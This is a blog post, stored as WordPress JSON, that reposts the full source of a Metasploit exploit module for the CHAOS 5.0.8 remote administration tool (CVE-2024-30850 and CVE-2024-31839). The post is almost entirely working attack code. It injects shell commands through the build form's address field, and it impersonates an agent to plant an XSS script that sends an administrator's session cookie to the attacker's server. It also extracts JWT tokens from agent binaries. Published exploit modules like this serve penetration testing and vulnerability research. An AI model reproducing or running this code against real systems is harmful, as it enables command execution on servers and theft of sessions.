{"id":56963,"date":"2024-05-21T21:59:53","date_gmt":"2024-05-21T17:59:53","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178654\/chaos_rat_xss_to_rce.rb.txt"},"modified":"2024-05-21T21:59:53","modified_gmt":"2024-05-21T17:59:53","slug":"chaos-5-0-8-cross-site-scripting-remote-command-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/chaos-5-0-8-cross-site-scripting-remote-command-execution\/","title":{"rendered":"CHAOS 5.0.8 Cross Site Scripting \/ Remote Command Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>prepend Msf::Exploit::Remote::AutoCheck<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::Remote::HttpServer::HTML<br \/>include Rex::Proto::Http::WebSocket<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Chaos RAT XSS to RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>CHAOS v5.0.8 is a free and open-source Remote Administration Tool that<br \/>allows generated binaries to control remote operating systems. The<br \/>webapp contains a remote command execution vulnerability which<br \/>can be triggered by an authenticated user when generating a new<br \/>executable. The webapp also contains an XSS vulnerability within<br \/>the view of a returned command being executed on an agent.<\/p>\n<p>Execution can happen through one of three routes:<\/p>\n<p>1. Provided credentials can be used to execute the RCE directly<\/p>\n<p>2. A JWT token from an agent can be provided to emulate a compromised<br \/>host. If a logged in user attempts to execute a command on the host<br \/>the returned value contains an xss payload.<\/p>\n<p>3. Similar to technique 2, an agent executable can be provided and the<br \/>JWT token can be extracted.<\/p>\n<p>Verified against CHAOS 7d5b20ad7e58e5b525abdcb3a12514b88e87cef2 running<br \/>in a docker container.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die&#8217;, # msf module<br \/>&#8216;chebuya&#8217; # original PoC, analysis<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/chebuya\/CVE-2024-30850-chaos-rat-rce-poc&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/tiagorlampert\/CHAOS&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2024-31839&#8217;], # XSS<br \/>[ &#8216;CVE&#8217;, &#8216;2024-30850&#8217;] # RCE<br \/>],<br \/>&#8216;Platform&#8217; =&gt; [&#8216;linux&#8217;, &#8216;unix&#8217;],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Payload&#8217; =&gt; { &#8216;BadChars&#8217; =&gt; &#8216; &#8216; },<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[ &#8216;Automatic Target&#8217;, {}]],<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;WfsDelay&#8217; =&gt; 3_600, # 1hr<br \/>&#8216;URIPATH&#8217; =&gt; &#8216;\/&#8217; # avoid long URLs in xss payloads<br \/>},<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-04-10&#8217;,<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [EVENT_DEPENDENT, REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [ARTIFACTS_ON_DISK]}<br \/>)<br \/>)<br \/>register_options(<br \/>[<br \/>Opt::RPORT(8080),<br \/>OptString.new(&#8216;USERNAME&#8217;, [ false, &#8216;User to login with&#8217;]), # admin<br \/>OptString.new(&#8216;PASSWORD&#8217;, [ false, &#8216;Password to login with&#8217;]), # admin<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The URI of the Chaos Application&#8217;, &#8216;\/&#8217;]),<br \/>OptString.new(&#8216;JWT&#8217;, [ false, &#8216;Agent JWT Token of the malware&#8217;]),<br \/>OptPath.new(&#8216;AGENT&#8217;, [ false, &#8216;A Chaos Agent Binary&#8217;])<br \/>])<br \/>register_advanced_options(<br \/>[<br \/>OptString.new(&#8216;AGENT_HOSTNAME&#8217;, [ false, &#8216;Hostname for a fake agent&#8217;, &#8216;DC01&#8217;]),<br \/>OptString.new(&#8216;AGENT_USERNAME&#8217;, [ false, &#8216;Username for a fake agent&#8217;, &#8216;Administrator&#8217;]),<br \/>OptString.new(&#8216;AGENT_USERID&#8217;, [ false, &#8216;User ID for a fake agent&#8217;, &#8216;Administrator&#8217;]),<br \/>OptEnum.new(&#8216;AGENT_OS&#8217;, [ false, &#8216;OS for a fake agent&#8217;, &#8216;Windows&#8217;, [&#8216;Windows&#8217;, &#8216;Linux&#8217;]]),<br \/>])<br \/>end<\/p>\n<p>def on_request_uri(cli, request)<br \/>if request.method == &#8216;GET&#8217; &amp;&amp; @xss_response_received == false<br \/>vprint_status(&#8216;Received GET request.&#8217;)<br \/>return unless request.uri.include? &#8216;=&#8217;<\/p>\n<p>cookie = request.uri.split(&#8216;jwt=&#8217;)[1]print_good(&#8220;Received cookie: #{cookie}&#8221;)<br \/>send_response_html(cli, &#8221;)<br \/>@xss_response_received = true<br \/>list_agents(cookie)<br \/>rce(cookie)<br \/>end<br \/>send_response_html(cli, &#8221;)<br \/>end<\/p>\n<p>def mac_address<br \/>@mac_address ||= Faker::Internet.mac_address<br \/>@mac_address<br \/>end<\/p>\n<p>def check<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>)<\/p>\n<p>return CheckCode::Unknown(&#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>return CheckCode::Safe(&#8220;#{peer} &#8211; Check URI Path, unexpected HTTP response code: #{res.code}&#8221;) if res.code == 200<\/p>\n<p>return CheckCode::Detected(&#8216;Chaos application found&#8217;) if res.body.include?(&#8216;&lt;title&gt;CHAOS&lt;\/title&gt;&#8217;)<\/p>\n<p>CheckCode::Safe(&#8216;Chaos application not found&#8217;)<br \/>end<\/p>\n<p>def login<br \/>vprint_status(&#8216;Attempting login&#8217;)<br \/>res = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;auth&#8217;),<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;username&#8217; =&gt; datastore[&#8216;USERNAME&#8217;],<br \/>&#8216;password&#8217; =&gt; datastore[&#8216;PASSWORD&#8217;]}<br \/>)<br \/>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{peer} &#8211; Invalid credentials (response code: #{res.code})&#8221;) unless res.code == 200<br \/>res.get_cookies.scan(\/jwt=([\\w._-]+);*\/).flatten[0] || &#8221;<br \/>end<\/p>\n<p>def rce(cookie)<br \/>data = Rex::MIME::Message.new<\/p>\n<p>data.add_part(&#8220;http:\/\/localhost\\&#8217;$(#{payload.encoded})\\'&#8221;, nil, nil, &#8216;form-data; name=&#8221;address&#8221;&#8216;)<br \/>data.add_part(&#8216;8080&#8217;, nil, nil, &#8216;form-data; name=&#8221;port&#8221;&#8216;)<br \/>data.add_part(&#8216;1&#8217;, nil, nil, &#8216;form-data; name=&#8221;os_target&#8221;&#8216;) # 1 windows, 2 linux<br \/>data.add_part(&#8221;, nil, nil, &#8216;form-data; name=&#8221;filename&#8221;&#8216;)<br \/>data.add_part(&#8216;false&#8217;, nil, nil, &#8216;form-data; name=&#8221;run_hidden&#8221;&#8216;)<\/p>\n<p>post_data = data.to_s<\/p>\n<p>res = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;generate&#8217;),<br \/>&#8216;ctype&#8217; =&gt; &#8220;multipart\/form-data; boundary=#{data.bound}&#8221;,<br \/>&#8216;data&#8217; =&gt; post_data,<br \/>&#8216;cookie&#8217; =&gt; &#8220;jwt=#{cookie}&#8221;<br \/>)<br \/>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{peer} &#8211; Shellcode rejected: #{res.body}&#8221;) unless res.code == 200<br \/>end<\/p>\n<p>def convert_to_int_array(string)<br \/>string.bytes.to_a<br \/>end<\/p>\n<p># Retrieve the server&#8217;s response and pull out the command response. The return value is<br \/># the server&#8217;s response value (or 1 on failure).<br \/>def recv_wsframe_status(wsock)<br \/>res = wsock.get_wsframe<br \/>return 1 unless res<\/p>\n<p>begin<br \/>res_json = JSON.parse(res.payload_data)<br \/>rescue JSON::ParserError<br \/>fail_with(Failure::UnexpectedReply, &#8216;Failed to parse the returned JSON response.&#8217;)<br \/>end<br \/>command = res_json[&#8216;command&#8217;]return 1 if command.nil?<\/p>\n<p>command<br \/>end<\/p>\n<p>def agent_command_handler(cookie)<br \/>vprint_status(&#8216;WebSocket connecting to receive commands&#8217;)<br \/>headers = {<br \/>&#8216;Cookie&#8217; =&gt; &#8220;jwt=#{cookie}&#8221;,<br \/>&#8216;X-Client&#8217; =&gt; mac_address<br \/>}<\/p>\n<p>wsock = connect_ws(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;client&#8217;),<br \/>&#8216;headers&#8217; =&gt; headers<br \/>)<\/p>\n<p>start_time = Time.now.to_i<br \/>command = 1<br \/>while Time.now.to_i &lt; start_time + datastore[&#8216;WfsDelay&#8217;]begin<br \/>Timeout.timeout(datastore[&#8216;WfsDelay&#8217;]) do<br \/>command = recv_wsframe_status(wsock)<br \/>end<br \/>rescue Timeout::Error<br \/>command = 1<br \/>end<\/p>\n<p>next if command == 1<\/p>\n<p>vprint_good(&#8220;Received agent command &#8216;#{command}&#8217;, sending XSS in return&#8221;)<\/p>\n<p>data = {<br \/>&#8216;client_id&#8217; =&gt; mac_address,<br \/># removed the rickroll from the PoC :(<br \/>&#8216;response&#8217; =&gt; convert_to_int_array(&#8220;&lt;\/pre&gt;&lt;script&gt;var i = new Image;i.src=&#8217;http:\/\/#{datastore[&#8216;SRVHOST&#8217;]}:#{datastore[&#8216;SRVPORT&#8217;]}\/&#8217;+document.cookie;&lt;\/script&gt;&#8221;),<br \/>&#8216;has_error&#8217; =&gt; false<br \/>}<br \/>wsock.put_wsbinary(JSON.generate(data))<br \/>end<br \/>print_status(&#8216;Stopping WebSocket connection&#8217;)<br \/>end<\/p>\n<p>def agent_callback_checkin(cookie)<br \/>start_time = Time.now.to_i<br \/>while Time.now.to_i &lt; start_time + datastore[&#8216;WfsDelay&#8217;]print_status(&#8216;Performing Callback Checkin&#8217;)<br \/>res = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;health&#8217;),<br \/>&#8216;cookie&#8217; =&gt; &#8220;jwt=#{cookie}&#8221;<br \/>)<br \/>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{peer} &#8211; Checkin rejected: #{res.code}&#8221;) unless res.code == 200<\/p>\n<p>body = {<br \/>hostname: datastore[&#8216;AGENT_HOSTNAME&#8217;],<br \/>username: datastore[&#8216;AGENT_USERNAME&#8217;],<br \/>user_id: datastore[&#8216;AGENT_USERID&#8217;],<br \/>os_name: datastore[&#8216;AGENT_OS&#8217;],<br \/>os_arch: &#8216;amd64&#8217;,<br \/>mac_address: mac_address,<br \/>local_ip_address: datastore[&#8216;SRVHOST&#8217;],<br \/>port: datastore[&#8216;SRVPORT&#8217;].to_s,<br \/>fetched_unix: Time.now.to_i<br \/>}<\/p>\n<p>res = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;device&#8217;),<br \/>&#8216;cookie&#8217; =&gt; &#8220;jwt=#{cookie}&#8221;,<br \/>&#8216;data&#8217; =&gt; body.to_json<br \/>)<br \/>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{peer} &#8211; Checkin rejected: #{res.code}&#8221;) unless res.code == 200<br \/>Rex.sleep(30)<br \/>end<br \/>print_status(&#8216;Stopping Callback Checkin&#8217;)<br \/>end<\/p>\n<p>def fake_agent(server_cookie)<br \/># start callback checkins and command handler<br \/>@threads = []@threads &lt;&lt; framework.threads.spawn(&#8216;CHAOS-agent-callback&#8217;, false) do<br \/>agent_callback_checkin(server_cookie)<br \/>end<br \/>@threads &lt;&lt; framework.threads.spawn(&#8216;CHAOS-agent-command-handler&#8217;, false) do<br \/>agent_command_handler(server_cookie)<br \/>end<br \/>@threads.map do |t|<br \/>t.join<br \/>rescue StandardError =&gt; e<br \/>print_error(&#8220;Error in CHAOS Rat Threads: #{e}&#8221;)<br \/>end<br \/>end<\/p>\n<p>#<br \/># Handle the HTTP request and return a response. Code borrowed from:<br \/># msf\/core\/exploit\/http\/server.rb<br \/>#<br \/>def start_http_service(opts = {})<br \/># Start a new HTTP server<br \/>@http_service = Rex::ServiceManager.start(<br \/>Rex::Proto::Http::Server,<br \/>(opts[&#8216;ServerPort&#8217;] || bindport).to_i,<br \/>opts[&#8216;ServerHost&#8217;] || bindhost,<br \/>datastore[&#8216;SSL&#8217;],<br \/>{<br \/>&#8216;Msf&#8217; =&gt; framework,<br \/>&#8216;MsfExploit&#8217; =&gt; self<br \/>},<br \/>opts[&#8216;Comm&#8217;] || _determine_server_comm(opts[&#8216;ServerHost&#8217;] || bindhost),<br \/>datastore[&#8216;SSLCert&#8217;],<br \/>datastore[&#8216;SSLCompression&#8217;],<br \/>datastore[&#8216;SSLCipher&#8217;],<br \/>datastore[&#8216;SSLVersion&#8217;])<br \/>@http_service.server_name = datastore[&#8216;HTTP::server_name&#8217;]# Default the procedure of the URI to on_request_uri if one isn&#8217;t<br \/># provided.<br \/>uopts = {<br \/>&#8216;Proc&#8217; =&gt; method(:on_request_uri),<br \/>&#8216;Path&#8217; =&gt; resource_uri<br \/>}.update(opts[&#8216;Uri&#8217;] || {})<br \/>proto = (datastore[&#8216;SSL&#8217;] ? &#8216;https&#8217; : &#8216;http&#8217;)<\/p>\n<p>netloc = opts[&#8216;ServerHost&#8217;] || bindhost<br \/>http_srvport = (opts[&#8216;ServerPort&#8217;] || bindport).to_i<br \/>if (proto == &#8216;http&#8217; &amp;&amp; http_srvport != 80) || (proto == &#8216;https&#8217; &amp;&amp; http_srvport != 443)<br \/>if Rex::Socket.is_ipv6?(netloc)<br \/>netloc = &#8220;[#{netloc}]:#{http_srvport}&#8221;<br \/>else<br \/>netloc = &#8220;#{netloc}:#{http_srvport}&#8221;<br \/>end<br \/>end<br \/>print_status(&#8220;Listening for XSS response on: #{proto}:\/\/#{netloc}#{uopts[&#8216;Path&#8217;]}&#8221;)<\/p>\n<p># Add path to resource<br \/>@service_path = uopts[&#8216;Path&#8217;]@http_service.add_resource(uopts[&#8216;Path&#8217;], uopts)<br \/>end<\/p>\n<p>def list_agents(cookie)<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;devices&#8217;),<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;cookie&#8217; =&gt; &#8220;jwt=#{cookie}&#8221;<br \/>}<br \/>)<br \/>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>soup = Nokogiri::HTML(res.body)<br \/>rows = soup.css(&#8216;tr&#8217;)<\/p>\n<p>agent_table = Rex::Text::Table.new(<br \/>&#8216;Header&#8217; =&gt; &#8216;Live Agents&#8217;,<br \/>&#8216;Indent&#8217; =&gt; 1,<br \/>&#8216;Columns&#8217; =&gt;<br \/>[<br \/>&#8216;IP&#8217;,<br \/>&#8216;OS&#8217;,<br \/>&#8216;Username&#8217;,<br \/>&#8216;Hostname&#8217;,<br \/>&#8216;MAC&#8217;<br \/>])<\/p>\n<p>rows.each do |row|<br \/>cells = row.css(&#8216;td&#8217;)<br \/>next if cells.length != 7<\/p>\n<p>agent_ip = cells[4].text.strip<br \/>hostname = cells[1].text.strip<\/p>\n<p>agent_table &lt;&lt; [agent_ip, cells[3].text.strip, cells[2].text.strip, hostname, cells[5].text.strip]report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: &#8220;CHAOS C2 Agent Deployed, callback: #{datastore[&#8216;RHOST&#8217;]}&#8221;)<br \/>end<br \/>print_good(&#8216;Detected Agents&#8217;)<br \/>print_line(agent_table.to_s)<br \/>end<\/p>\n<p>def exploit<br \/>unless (datastore[&#8216;USERNAME&#8217;] &amp;&amp; datastore[&#8216;PASSWORD&#8217;]) ||<br \/>datastore[&#8216;JWT&#8217;] ||<br \/>datastore[&#8216;AGENT&#8217;]fail_with(Failure::BadConfig, &#8216;Username and password, or JWT, or AGENT path required&#8217;)<br \/>end<br \/>fail_with(Failure::BadConfig, &#8216;SRVHOST can not be 0.0.0.0, must be a valid IP address&#8217;) if Rex::Socket.addr_atoi(datastore[&#8216;SRVHOST&#8217;]) == 0<\/p>\n<p>@xss_response_received = false<\/p>\n<p>if datastore[&#8216;USERNAME&#8217;] &amp;&amp; datastore[&#8216;PASSWORD&#8217;]print_status(&#8216;Attempting exploitation through direct login&#8217;)<br \/>cookie = login<br \/>rce(cookie)<br \/>elsif datastore[&#8216;JWT&#8217;]print_status(&#8216;Attempting exploitation through JWT token&#8217;)<br \/>vprint_status(&#8220;Fake MAC for agent: #{mac_address}&#8221;)<br \/>start_http_service<br \/>fake_agent(datastore[&#8216;JWT&#8217;])<br \/>elsif datastore[&#8216;AGENT&#8217;]print_status(&#8216;Attempting exploitation through Agent&#8217;)<br \/>fail_with(Failure::BadConfig, &#8216;AGENT file not found&#8217;) unless File.file?(datastore[&#8216;AGENT&#8217;])<br \/>agent_exe = File.read(datastore[&#8216;AGENT&#8217;])<br \/>if agent_exe =~ \/main\\.ServerAddress=(((25[0-5]|(2[0-4]|1\\d|[1-9]|)\\d)\\.?\\b){4})\/<br \/>server_address = ::Regexp.last_match(1)<br \/>vprint_status(&#8220;Server address: #{server_address}&#8221;)<br \/>end<\/p>\n<p>if agent_exe =~ \/main\\.Port=(\\d{1,6})\/<br \/>server_port = ::Regexp.last_match(1)<br \/>vprint_status(&#8220;Server port: #{server_port}&#8221;)<br \/>end<\/p>\n<p>if agent_exe =~ %r{main\\.Token=([a-zA-Z0-9_.\\-+\/=]*\\.[a-zA-Z0-9_.\\-+\/=]*\\.[a-zA-Z0-9_.\\-+\/=]*)}<br \/>server_cookie = ::Regexp.last_match(1)<br \/>vprint_status(&#8220;Server JWT Token: #{server_cookie}&#8221;)<br \/>end<br \/>fail_with(Failure::BadConfig, &#8216;JWT token not found in agent executable&#8217;) unless server_cookie<br \/>vprint_status(&#8220;Fake MAC for agent: #{mac_address}&#8221;)<br \/>start_http_service<br \/>fake_agent(server_cookie)<br \/>end<br \/>end<\/p>\n<p>def cleanup<br \/># Clean and stop HTTP server<br \/>if @http_service<br \/>begin<br \/>@http_service.remove_resource(datastore[&#8216;URIPATH&#8217;])<br \/>@http_service.deref<br \/>@http_service.stop<br \/>@http_service = nil<br \/>rescue StandardError =&gt; e<br \/>print_error(&#8220;Failed to stop http server due to #{e}&#8221;)<br \/>end<br \/>end<br \/>@threads.each(&amp;:kill) unless @threads.nil? # no need for these anymore<br \/>super<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::HttpServer::HTMLinclude Rex::Proto::Http::WebSocket def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Chaos RAT XSS to RCE&#8217;,&#8216;Description&#8217; =&gt; %q{CHAOS v5.0.8 is a free and open-source Remote Administration Tool thatallows generated binaries to control remote operating systems. Thewebapp contains a remote command execution &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56963","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56963","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56963"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56963\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56963"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56963"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56963"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}